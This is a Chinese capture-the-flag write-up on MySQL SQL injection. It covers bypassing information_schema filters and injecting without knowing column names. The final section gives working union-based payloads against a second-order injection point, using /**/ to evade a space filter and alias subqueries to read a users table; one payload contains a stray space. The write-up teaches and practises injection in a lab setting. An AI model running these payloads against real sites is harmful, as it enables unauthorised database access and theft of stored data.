0x00 知识点
- bypass information_schema
- 无列名注入
0x01 知识点详解
- 什么是information_schema?
答:information_schema:简单来说,这个库在mysql中就是个信息数据库,它保存着mysql服务器所维护的所有其他数据库的信息,包括了数据库名,表名,字段名等。在注入中,infromation_schema库的作用无非就是可以获取到table_schema,table_name,column_name这些数据库内的信息。
MySQL5.7的新特性:
由于performance_schema过于发杂,所以mysql在5.7版本中新增了sys schemma,基础数据来自于performance_chema和information_schema两个库,本身数据库不存储数据。 - 什么是bypass information_schema?
答:我认为可以理解为当有waf使得我们无法查询到information_schema时,我们如何进行注入。这里我推荐一个大佬的文章,大家可以去详细学习一下。 - 什么是无列名注入?
答:这里可以理解为当我们不知道列名时我们如何查询到我们想要的信息。还是推荐一个其他人的博客,在本题中我们就要用到一个利用别名带替的注入方法。
0x02 解题思路
-
一个很普通的登录页面 看源码也没有什么重要信息,尝试注册一下,并登录
-
登录成功后再广告的发布页面发现二次注入,也就是再广告名处存在注入点,但是过滤了空格,我们使用/**/来进行绕过,过滤了or,因此我们无法使用order by, 以及information_schema这个库,因为过滤了注释符,所以查询语句的最后我们要闭合单引号
-
所以我就开始尝试无列名注入
查字段
1'/**/union/**/select/**/1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22/**/'
可以看到这里一共有22个字段(这就离谱),其中2,3字段是注入点,
接下来查表,这里就要用到子查询了
-1'union/**/select/**/1,(select/**/group_concat(table_name)/**/from/**/mysql.innodb_table_stats),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22/**/'
这里flag就在users里的b列继续构造payload
-1'/**/union/**/select/**/1, (select/**/group_concat(b)/**/from(select/**/1,2/**/as/**/a,3/**/as/**/b/**/union/**/sele ct*from/**/users)x),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22/**/'